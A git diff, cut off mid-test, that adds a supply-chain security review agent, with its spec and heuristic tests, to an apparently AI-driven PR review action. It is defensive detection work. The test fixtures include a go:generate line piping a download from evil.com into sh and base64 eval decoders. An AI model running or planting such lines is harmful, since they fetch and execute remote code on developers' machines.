diff --git a/claude/auto-review/action.yml b/claude/auto-review/action.yml index aa3cc8a..524d30a 100644 --- a/claude/auto-review/action.yml +++ b/claude/auto-review/action.yml @@ -35,6 +35,10 @@ inputs: description: "Force data classification agent regardless of heuristic" required: false default: "false" + force_supply_chain_agent: + description: "Force supply-chain security agent regardless of heuristic" + required: false + default: "false" runs: using: "composite" @@ -90,6 +94,23 @@ runs: echo "DATA_CLASSIFICATION_REASON=$REASON" >> $GITHUB_ENV echo "Data classification agent: spawn=$SPAWN reason=\"$REASON\"" + - name: Determine if supply-chain security agent should spawn + shell: bash + env: + GH_TOKEN: ${{ github.token }} + GITHUB_TOKEN: ${{ github.token }} + GITHUB_REPOSITORY: ${{ github.repository }} + GITHUB_EVENT_PATH: ${{ github.event_path }} + FORCE_SUPPLY_CHAIN_AGENT: ${{ inputs.force_supply_chain_agent }} + run: | + SCRIPT_PATH="${{ github.action_path }}/scripts/should-spawn-supply-chain.js" + RESULT=$(node "$SCRIPT_PATH") + SPAWN=$(echo "$RESULT" | jq -r '.spawn') + REASON=$(echo "$RESULT" | jq -r '.reason') + echo "SPAWN_SUPPLY_CHAIN=$SPAWN" >> $GITHUB_ENV + echo "SUPPLY_CHAIN_REASON=$REASON" >> $GITHUB_ENV + echo "Supply-chain security agent: spawn=$SPAWN reason=\"$REASON\"" + - name: Set up review prompt shell: bash run: | @@ -250,6 +271,30 @@ runs: - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW" fi + # Conditionally add supply-chain security subagent instructions + if [[ "$SPAWN_SUPPLY_CHAIN" == "true" ]]; then + PROMPT="$PROMPT + + --- + + ## SUPPLY-CHAIN SECURITY SUBAGENT + + Based on PR analysis: ${SUPPLY_CHAIN_REASON} + + Spawn ONE specialized subagent to check for supply-chain attack patterns (Glassworm campaign and similar). + + ### Instructions: + Use the Task tool with subagent_type=\"general-purpose\" to launch the agent. In the prompt include: + 1. \"Read your spec file at ${{ github.action_path }}/agents/review-supply-chain.md and follow its instructions.\" + 2. PR number: ${{ github.event.pull_request.number }}, Repository: ${{ github.repository }} + 3. The list of changed files in this PR + + After the agent completes, merge its findings into your consolidated output. + - Use the agent's scl- prefixed IDs as-is + - Deduplicate if you found the same issue independently (prefer scl- prefixed ID) + - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW" + fi + # Add project context if [[ -n "${{ inputs.project_context }}" ]]; then PROMPT="$PROMPT diff --git a/claude/auto-review/agents/review-supply-chain.md b/claude/auto-review/agents/review-supply-chain.md new file mode 100644 index 0000000..f101e9f --- /dev/null +++ b/claude/auto-review/agents/review-supply-chain.md @@ -0,0 +1,183 @@ +# Supply-Chain Security Review Agent + +You are a specialized supply-chain security reviewer for pull requests. Your job is to detect patterns associated with supply-chain attacks across all ecosystems — malicious install hooks, obfuscated payloads, invisible code injection, and build-time code execution. + +## Background + +Supply-chain attacks exploit the trust developers place in their dependency ecosystem. Each package manager has its own auto-execution surface — code that runs automatically on install, build, or import without explicit user invocation. + +**The Glassworm campaign** (npm/Node.js) is one high-profile example: it injects payloads hidden with invisible Unicode characters (PUA range U+FE00–U+FE0F, U+E0100–U+E01EF), decoded at runtime via `eval(Buffer.from(...))`, and exfiltrates credentials via Solana smart contracts. But equivalent attack vectors exist in every ecosystem. + +**The invisible Unicode obfuscation technique is universal** — it works in any text file (`.kt`, `.swift`, `.rs`, `.dart`, `.py`, `.go`, etc.) because the characters are invisible in every editor and code review UI. + +## Focus Areas + +### 1. Auto-Execution Vectors (Install Hooks & Build Scripts) + +Each ecosystem has files that run code automatically. Flag additions or modifications to these as HIGH unless clearly justified: + +**npm / pnpm / yarn:** +- `preinstall`, `postinstall`, `preuninstall` scripts in `package.json` +- These execute automatically on `npm install` / `pnpm install` / `yarn install` + +**Rust / Cargo:** +- `build.rs` build scripts — execute automatically during `cargo build` +- `proc-macro` crates — execute at compile time +- `[build-dependencies]` in `Cargo.toml` — dependencies that run at build time +- A malicious `build.rs` with `Command::new` or `std::process::Command` can run arbitrary shell commands + +**Gradle (Kotlin / Android / Java):** +- `build.gradle` / `build.gradle.kts` — runs arbitrary Kotlin/Groovy on sync or build +- `settings.gradle` / `settings.gradle.kts` — plugin management, runs on project sync +- `buildscript` blocks and `apply plugin` from untrusted sources +- `classpath` additions from unknown repositories +- Gradle init scripts (`init.gradle`) — execute on every Gradle invocation + +**CocoaPods (iOS / macOS):** +- `.podspec` files with `script_phase` — runs shell commands on `pod install` +- `.podspec` files with `prepare_command` — pre-install command execution +- Swift Package Manager is safer (no arbitrary script execution on resolve) + +**Python / pip:** +- `setup.py` with `cmdclass` — custom install commands that run on `pip install` +- `setup.py` calling `subprocess`, `os.system`, or `exec()` — direct code execution on install +- `setup.py` with `install_requires` combined with inline code + +**Go:** +- `//go:generate` directives — run arbitrary commands via `go generate` +- No install hooks, but generate directives can execute anything + +**Flutter / Dart:** +- `pub` has no install hooks, but Flutter plugins include native build code (Gradle for Android, CocoaPods for iOS) which inherit those ecosystems' attack surfaces + +### 2. Suspicious Code Execution Patterns + +Flag new usage of dynamic code execution patterns in the diff: + +**JavaScript / Node.js:** +- `eval()` — direct code execution. Flag as HIGH. +- `new Function()` — Function constructor for dynamic code. Flag as HIGH. +- `eval(Buffer.from(...))` — the Glassworm decoder pattern. Flag as **CRITICAL**. +- `codePointAt()` referencing PUA hex ranges `0xFE00`–`0xFE0F` or `0xE0100`–`0xE01EF` — CRITICAL. +- `eval()` with template literals — HIGH. + +**Rust:** +- `Command::new` or `std::process::Command` in `build.rs` — arbitrary shell execution at build time. +- `unsafe` blocks combined with FFI calls in build scripts. + +**Python:** +- `exec()`, `eval()`, `compile()` — dynamic code execution. +- `subprocess.Popen` with `shell=True`, `subprocess.call`, `subprocess.run` — shell execution. +- `os.system()` — direct shell command. + +**Gradle / Groovy / Kotlin:** +- `Runtime.getRuntime().exec()` — process execution. +- `ProcessBuilder` — process spawning. +- Dynamic dependency resolution from unknown URLs. + +**General (all languages):** +- Hex escape sequences (`\x48\x65`) — potential obfuscation. +- Unicode escape sequences (`\u0048\u0065`) — potential obfuscation. +- Base64-encoded payloads combined with execution functions. + +### 3. Lockfile Anomalies + +Flag lockfile changes that don't correspond to manifest changes — this applies across all ecosystems: + +- **npm:** `package-lock.json` / `pnpm-lock.yaml` / `yarn.lock` changed without `package.json` dependency changes +- **Rust:** `Cargo.lock` changed without `Cargo.toml` dependency changes +- **Go:** `go.sum` changed without `go.mod` changes +- **Ruby:** `Gemfile.lock` changed without `Gemfile` changes +- **CocoaPods:** `Podfile.lock` changed without `Podfile` changes +- **Dart/Flutter:** `pubspec.lock` changed without `pubspec.yaml` changes +- **Python:** Lockfile changes without manifest changes + +For new dependencies in any ecosystem, verify they are well-known packages and not potential typosquats (e.g., `lodahs` instead of `lodash`, `c0lors` instead of `colors`, `reqeusts` instead of `requests`). + +### 4. Hidden / Obfuscated Content Detection + +For any file in the diff that contains apparently empty lines, empty strings, or template literals with no visible content: + +- Use **Grep** to search for invisible Unicode characters: + - Zero-width spaces: `\u200B`, `\u200C`, `\u200D`, `\uFEFF` + - PUA range: `\uE000`–`\uF8FF`, `\uFE00`–`\uFE0F` + - Variation selectors: `\uE0100`–`\uE01EF` +- Use **Read** to examine the raw file content around suspicious lines +- If a line appears visually empty but contains content, flag as **CRITICAL — potential obfuscated payload** + +**Do NOT attempt to use bash commands — Bash is not available in your toolset. Use only Read, Glob, Grep, Task, and WebFetch.** + +### 5. CI/Build Configuration Changes + +Be suspicious of PRs that modify build infrastructure without clear justification: + +- `.github/workflows/` files — especially changes that reduce security checks or add script execution +- `Dockerfile` / `docker-compose.yml` — new RUN commands, base image changes +- `Makefile` / build scripts — new targets that execute external code +- Gradle wrapper (`gradlew`, `gradle-wrapper.properties`) — changes pointing to non-standard distribution URLs +- `Cargo.toml` adding `[build-dependencies]` or `build = "build.rs"` entries +- `.podspec` files adding `script_phase` blocks +- Python `setup.cfg` adding `[options.entry_points]` with unexpected commands + +Flag PRs where a contributor modifies both source code AND CI/build configuration in ways that reduce security checks or add new script execution paths. + +## False-Positive Guardrails + +**CRITICAL: Minimize false positives. Follow these rules strictly:** + +- **Read full file context**, not just the diff. Understand why a pattern exists before flagging it. +- **Don't flag test fixtures**: Test files demonstrating security patterns (e.g., testing an eval sanitizer) are expected. +- **Don't flag documentation**: Markdown files discussing eval, security, or attack techniques are not threats. + +**Ecosystem-specific legitimate patterns:** + +- **npm:** `postinstall` hooks for well-known packages (`esbuild`, `sharp`, `node-gyp`, `prisma`, `bcrypt`, `better-sqlite3`) are normal. +- **Rust:** `build.rs` for native FFI bindings (`openssl-sys`, `ring`, `libsqlite3-sys`, `cc` crate builds) is standard practice. Most Rust crates with C dependencies use `build.rs`. +- **CocoaPods:** `script_phase` for resource generation (`R.swift`, `SwiftGen`, `SwiftLint`) and code generation tools is common. +- **Python:** `setup.py` with `cmdclass` for Cython compilation, C extensions, or wheel building is normal. `install_requires` alone is not suspicious. +- **Gradle:** `buildscript` with well-known plugins (`com.android.tools.build`, `org.jetbrains.kotlin`, `com.google.gms`, `com.google.firebase`) is standard. +- **Go:** `//go:generate` for protobuf generation (`protoc-gen-go`), stringer, mockgen, and enumer is normal. +- **Lockfile changes during dependency updates are normal**: Only flag lockfile-only changes when the corresponding manifest deps are unchanged. +- **CI changes with clear commit messages are usually fine**: Focus on changes that remove security steps, add script execution, or modify permissions without explanation. + +## Severity Mapping + +- **CRITICAL**: Invisible Unicode in source files, `eval(Buffer.from(...))` decoder pattern, byte-count/content anomalies suggesting obfuscated payloads +- **HIGH**: Install hooks / auto-execution scripts without justification (`postinstall`, `build.rs` with `Command::new`, `script_phase`, `setup.py` with `cmdclass`), `eval()` with template literals, `new Function()`, suspicious `//go:generate` targets +- **MEDIUM**: Lockfile anomalies without manifest changes, CI config changes reducing security, suspicious typosquat-like dependency names, `buildscript`/`classpath` from unknown sources +- **LOW**: CI config additions with unclear justification, minor eval patterns in non-sensitive contexts, `proc-macro` additions without clear purpose + +## Output Format + +Use the same `#### Issue N:` format as the main review. **All IDs MUST use the `scl-` prefix.** + +``` +#### Issue N: Brief description of the supply-chain concern +**ID:** scl-{file-slug}-{semantic-slug}-{hash} +**File:** path/to/file.ext:line +**Severity:** CRITICAL/HIGH/MEDIUM/LOW +**Category:** supply_chain_security + +**Context:** +- **Pattern:** What supply-chain attack pattern was detected +- **Risk:** Why this is concerning (reference known campaigns or ecosystem-specific vectors) +- **Impact:** Potential consequences (credential theft, self-propagation, backdoor) +- **Trigger:** When this becomes exploitable (on install, on build, on import, on generate) + +**Recommendation:** How to investigate and remediate (inspect bytes, remove hook, audit dependency, etc.) +``` + +**ID Generation:** `scl-{filename}-{2-4-key-terms}-{SHA256(path+desc).substr(0,4)}` +Examples: +- `scl-package-postinstall-hook-a3f1` +- `scl-index-eval-buffer-decoder-b2c4` +- `scl-lockfile-phantom-dep-e7d2` +- `scl-build-rs-command-spawn-d4a9` +- `scl-podspec-script-phase-c1b3` +- `scl-setup-py-cmdclass-exec-f2e8` + +## If No Supply-Chain Issues Found + +If you find no supply-chain security issues after thorough analysis, respond with exactly: + +"No supply-chain security issues found." diff --git a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js new file mode 100644 index 0000000..1ad94d6 --- /dev/null +++ b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js @@ -0,0 +1,623 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { shouldSpawnSupplyChain, fetchPrFiles, fetchPrLabels } from '../should-spawn-supply-chain.js'; +import { ghApi } from '../lib/github-utils.js'; + +vi.mock('../lib/github-utils.js', async () => { + const actual = await vi.importActual('../lib/github-utils.js'); + return { + ...actual, + ghApi: vi.fn(), + }; +}); + +describe('shouldSpawnSupplyChain', () => { + // ---- Dependency file triggers --------------------------------------------- + + it('should spawn for package.json changes', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for nested package.json', () => { + const files = [{ filename: 'packages/core/package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pnpm-lock.yaml changes', () => { + const files = [{ filename: 'pnpm-lock.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for yarn.lock changes', () => { + const files = [{ filename: 'yarn.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for package-lock.json changes', () => { + const files = [{ filename: 'package-lock.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Cargo.toml changes', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Cargo.lock changes', () => { + const files = [{ filename: 'Cargo.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for go.mod changes', () => { + const files = [{ filename: 'go.mod', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for go.sum changes', () => { + const files = [{ filename: 'go.sum', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Gemfile changes', () => { + const files = [{ filename: 'Gemfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for build.gradle changes', () => { + const files = [{ filename: 'build.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for build.gradle.kts changes', () => { + const files = [{ filename: 'app/build.gradle.kts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pom.xml changes', () => { + const files = [{ filename: 'pom.xml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Podfile changes', () => { + const files = [{ filename: 'ios/Podfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pubspec.yaml changes', () => { + const files = [{ filename: 'pubspec.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pubspec.lock changes', () => { + const files = [{ filename: 'pubspec.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + // ---- CI/build config triggers --------------------------------------------- + + it('should spawn for GitHub workflow changes', () => { + const files = [{ filename: '.github/workflows/ci.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Dockerfile changes', () => { + const files = [{ filename: 'Dockerfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for nested Dockerfile changes', () => { + const files = [{ filename: 'services/api/Dockerfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for docker-compose.yml changes', () => { + const files = [{ filename: 'docker-compose.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for docker-compose.yaml changes', () => { + const files = [{ filename: 'docker-compose.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Makefile changes', () => { + const files = [{ filename: 'Makefile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Jenkinsfile changes', () => { + const files = [{ filename: 'Jenkinsfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + // ---- Build script/config triggers ----------------------------------------- + + it('should spawn for .npmrc changes', () => { + const files = [{ filename: '.npmrc', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for .yarnrc.yml changes', () => { + const files = [{ filename: '.yarnrc.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for build.rs changes', () => { + const files = [{ filename: 'build.rs', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for nested build.rs changes', () => { + const files = [{ filename: 'crates/my-lib/build.rs', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for settings.gradle changes', () => { + const files = [{ filename: 'settings.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for settings.gradle.kts changes', () => { + const files = [{ filename: 'settings.gradle.kts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for init.gradle changes', () => { + const files = [{ filename: 'init.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for gradle.properties changes', () => { + const files = [{ filename: 'gradle.properties', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for .podspec file changes', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + it('should spawn for nested .podspec file changes', () => { + const files = [{ filename: 'ios/MyLib.podspec', status: 'added' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('build script/config'); + }); + + // ---- Patch content triggers (JS/Node) ------------------------------------- + + it('should spawn when patch contains eval()', () => { + const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+ eval(code)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains new Function()', () => { + const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+ new Function("return " + str)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains eval(Buffer.from(...))', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ eval(Buffer.from(data, "base64"))' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should not spawn when patch contains standalone Buffer.from', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ Buffer.from(data, "base64")' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + it('should spawn when patch contains codePointAt', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ str.codePointAt(i)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains fromCharCode', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ String.fromCharCode(code)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains hex escape sequences', () => { + const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+ "\\x48\\x65\\x6c\\x6c\\x6f"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains unicode escape sequences', () => { + const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+ "\\u0048\\u0065"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains postinstall', () => { + const files = [{ filename: 'src/setup.js', status: 'modified', patch: '+ "postinstall": "node setup.js"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Rust) ---------------------------------------- + + it('should spawn when patch contains Command::new', () => { + const files = [{ filename: 'build.rs', status: 'modified', patch: '+ Command::new("sh").arg("-c").arg(cmd)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains std::process::Command', () => { + const files = [{ filename: 'build.rs', status: 'modified', patch: '+use std::process::Command;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains proc-macro', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+proc-macro = true' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains build-dependencies', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+[build-dependencies]' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Gradle) -------------------------------------- + + it('should spawn when patch contains apply plugin', () => { + const files = [{ filename: 'build.gradle', status: 'modified', patch: '+ apply plugin: "com.evil.plugin"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains classpath dependency', () => { + const files = [{ filename: 'build.gradle', status: 'modified', patch: '+ classpath "com.example:plugin:1.0"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains buildscript', () => { + const files = [{ filename: 'build.gradle.kts', status: 'modified', patch: '+buildscript {' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (CocoaPods) ----------------------------------- + + it('should spawn when patch contains script_phase', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+ s.script_phase = { :name => "Run Script" }' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains prepare_command', () => { + const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+ s.prepare_command = "make build"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Patch content triggers (Python) -------------------------------------- + + it('should spawn when patch contains subprocess.call', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ subprocess.call(["curl", url])' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains subprocess.Popen', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ subprocess.Popen(cmd, shell=True)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains cmdclass', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ cmdclass={"install": CustomInstall}' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains Python exec()', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ exec(payload)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should not spawn when patch contains regex.exec()', () => { + const files = [{ filename: 'src/parser.js', status: 'modified', patch: '+ const match = regex.exec(str)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + it('should spawn when patch contains install_requires', () => { + const files = [{ filename: 'setup.py', status: 'modified', patch: '+ install_requires=["requests"]' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should NOT spawn on standalone setup() call (too broad)', () => { + const files = [{ filename: 'src/app.ts', status: 'modified', patch: '+setup(config)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + // ---- Patch content triggers (Go) ------------------------------------------ + + it('should spawn when patch contains go:generate', () => { + const files = [{ filename: 'main.go', status: 'modified', patch: '+//go:generate curl http://evil.com/payload.sh | sh' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Finding 1 fix: Function regex no longer too broad -------------------- + + it('should not spawn when patch contains identifiers ending in Function', () => { + const files = [{ filename: 'src/app.js', status: 'modified', patch: '+ myFunction(arg)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + it('should not spawn when patch contains handleFunction()', () => { + const files = [{ filename: 'src/app.js', status: 'modified', patch: '+ handleFunction()' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + }); + + // ---- Non-matching files --------------------------------------------------- + + it('should not spawn for regular source code without suspicious patterns', () => { + const files = [{ filename: 'src/utils.ts', status: 'modified', patch: '+ return x + y;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('No supply-chain signals'); + }); + + it('should not spawn for CSS files', () => { + const files = [{ filename: 'src/styles.css', status: 'modified', patch: '+ color: red;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('No supply-chain signals'); + }); + + // ---- Empty / null / undefined files --------------------------------------- + + it('should not spawn for empty files array', () => { + const result = shouldSpawnSupplyChain([]); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + it('should not spawn for null files', () => { + const result = shouldSpawnSupplyChain(null); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + it('should not spawn for undefined files', () => { + const result = shouldSpawnSupplyChain(undefined); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + // ---- skip-review label ---------------------------------------------------- + + it('should not spawn when skip-review label is present', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'] }); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('skip-review label present'); + }); + + it('should not spawn when skip-review label is among multiple labels', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['enhancement', 'skip-review', 'urgent'] }); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('skip-review label present'); + }); + + // ---- Force flag ----------------------------------------------------------- + + it('should spawn when force flag is set even with no matching files', () => { + const files = [{ filename: 'README.md', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { force: true }); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('forced'); + }); + + it('should spawn when force flag is set even with skip-review label', () => { + const files = [{ filename: 'src/app.ts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'], force: true }); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('forced'); + }); + + // ---- Docs-only exclusions ------------------------------------------------- + + it('should not spawn for docs-only changes', () => { + const files = [{ filename: 'README.md', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('documentation-only'); + }); + + it('should not spawn for multiple docs-only changes', () => { + const files = [ + { filename: 'README.md', status: 'modified' }, + { filename: 'docs/guide.txt', status: 'added' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('documentation-only'); + }); + + // ---- Combined reasons ----------------------------------------------------- + + it('should combine reasons for multiple trigger types', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: 